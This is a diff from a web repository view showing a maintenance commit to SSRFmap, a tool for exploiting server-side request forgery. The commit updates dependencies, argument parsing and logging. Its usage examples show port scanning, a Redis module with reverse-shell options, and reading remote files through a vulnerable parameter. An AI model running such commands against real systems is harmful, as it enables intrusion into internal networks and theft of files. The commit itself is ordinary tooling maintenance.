||||||
print("Empty response")
|
logging.info("Empty response")
|
||||||
|
|
|
@ -1,2 +1,5 @@
|
||||||
Flask==2.3.2
|
Flask==3.0.3
|
||||||
requests==2.21.0
|
requests==2.31.0
|
||||||
|
dnslib==0.9.24
|
||||||
|
dnspython==2.6.1
|
||||||
|
tldextract==5.1.2
|
46
ssrfmap.py
46
ssrfmap.py
|
@ -4,33 +4,33 @@ import argparse
|
||||||
import logging
|
import logging
|
||||||
import urllib3
|
import urllib3
|
||||||
|
|
||||||
|
|
||||||
def display_banner():
|
def display_banner():
|
||||||
print(" _____ _________________ ")
|
print(r" _____ _________________ ")
|
||||||
print("/ ___/ ___| ___ \ ___| ")
|
print(r"/ ___/ ___| ___ \ ___| ")
|
||||||
print("\ `--.\ `--.| |_/ / |_ _ __ ___ __ _ _ __ ")
|
print(r"\ `--.\ `--.| |_/ / |_ _ __ ___ __ _ _ __ ")
|
||||||
print(" `--. \`--. \ /| _| '_ ` _ \ / _` | '_ \ ")
|
print(r" `--. \`--. \ /| _| '_ ` _ \ / _` | '_ \ ")
|
||||||
print("/\__/ /\__/ / |\ \| | | | | | | | (_| | |_) |")
|
print(r"/\__/ /\__/ / |\ \| | | | | | | | (_| | |_) |")
|
||||||
print("\____/\____/\_| \_\_| |_| |_| |_|\__,_| .__/ ")
|
print(r"\____/\____/\_| \_\_| |_| |_| |_|\__,_| .__/ ")
|
||||||
print(" | | ")
|
print(r" | | ")
|
||||||
print(" |_| ")
|
print(r" |_| ")
|
||||||
|
|
||||||
def parse_args():
|
def parse_args():
|
||||||
example_text = '''Examples:
|
example_text = '''Examples:
|
||||||
python ssrfmap.py -r data/request2.txt -p url -m portscan
|
python ssrfmap.py -r examples/request2.txt -p url -m portscan
|
||||||
python ssrfmap.py -r data/request.txt -p url -m redis
|
python ssrfmap.py -r examples/request.txt -p url -m redis
|
||||||
python ssrfmap.py -r data/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"
|
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"
|
||||||
python ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242
|
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242
|
||||||
python ssrfmap.py -r data/request.txt -p url -m readfiles --rfiles
|
python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles
|
||||||
'''
|
'''
|
||||||
parser = argparse.ArgumentParser(epilog=example_text, formatter_class=argparse.RawDescriptionHelpFormatter)
|
parser = argparse.ArgumentParser(epilog=example_text, formatter_class=argparse.RawDescriptionHelpFormatter)
|
||||||
parser.add_argument('-r', action ='store', dest='reqfile', help="SSRF Request file")
|
parser.add_argument('-r', action ='store', dest='reqfile', help="SSRF Request file")
|
||||||
parser.add_argument('-p', action ='store', dest='param', help="SSRF Parameter to target")
|
parser.add_argument('-p', action ='store', dest='param', help="SSRF Parameter to target")
|
||||||
parser.add_argument('-m', action ='store', dest='modules', help="SSRF Modules to enable")
|
parser.add_argument('-m', action ='store', dest='modules', help="SSRF Modules to enable")
|
||||||
parser.add_argument('-l', action ='store', dest='handler', help="Start an handler for a reverse shell", nargs='?', const='1')
|
parser.add_argument('-l', action ='store', dest='handler', help="Start an handler for a reverse shell", nargs='?', const='1')
|
||||||
parser.add_argument('-v', action ='store', dest='verbose', help="Enable verbosity", nargs='?', const=True)
|
parser.add_argument('-v', action ='store_true', dest='verbose', help="Enable verbosity")
|
||||||
parser.add_argument('--lhost', action ='store', dest='lhost', help="LHOST reverse shell")
|
parser.add_argument('--lhost', action ='store', dest='lhost', help="LHOST reverse shell or IP to target in the network")
|
||||||
parser.add_argument('--lport', action ='store', dest='lport', help="LPORT reverse shell")
|
parser.add_argument('--lport', action ='store', dest='lport', help="LPORT reverse shell or port to target in the network")
|
||||||
|
parser.add_argument('--ldomain', action ='store', dest='ldomain', help="Domain to target for AXFR query or domain related modules")
|
||||||
parser.add_argument('--rfiles', action ='store', dest='targetfiles', help="Files to read with readfiles module", nargs='?', const=True)
|
parser.add_argument('--rfiles', action ='store', dest='targetfiles', help="Files to read with readfiles module", nargs='?', const=True)
|
||||||
parser.add_argument('--uagent',action ='store', dest='useragent', help="User Agent to use")
|
parser.add_argument('--uagent',action ='store', dest='useragent', help="User Agent to use")
|
||||||
parser.add_argument('--ssl', action ='store', dest='ssl', help="Use HTTPS without verification", nargs='?', const=True)
|
parser.add_argument('--ssl', action ='store', dest='ssl', help="Use HTTPS without verification", nargs='?', const=True)
|
||||||
|
@ -58,10 +58,16 @@ if __name__ == "__main__":
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
logging.addLevelName( logging.WARNING, "\033[1;31m%s\033[1;0m" % logging.getLevelName(logging.WARNING))
|
logging.addLevelName(logging.WARNING, "\033[1;31m%s\033[1;0m" % logging.getLevelName(logging.WARNING))
|
||||||
logging.addLevelName( logging.ERROR, "\033[1;41m%s\033[1;0m" % logging.getLevelName(logging.ERROR))
|
logging.addLevelName(logging.ERROR, "\033[1;41m%s\033[1;0m" % logging.getLevelName(logging.ERROR))
|
||||||
display_banner()
|
display_banner()
|
||||||
|
|
||||||
# SSRFmap
|
# handle verbosity
|
||||||
args = parse_args()
|
args = parse_args()
|
||||||
|
if args.verbose is True:
|
||||||
|
logging.getLogger().setLevel(logging.DEBUG)
|
||||||
|
logging.debug("Verbose output is enabled")
|
||||||
|
|
||||||
|
# SSRFmap
|
||||||
ssrf = SSRF(args)
|
ssrf = SSRF(args)
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue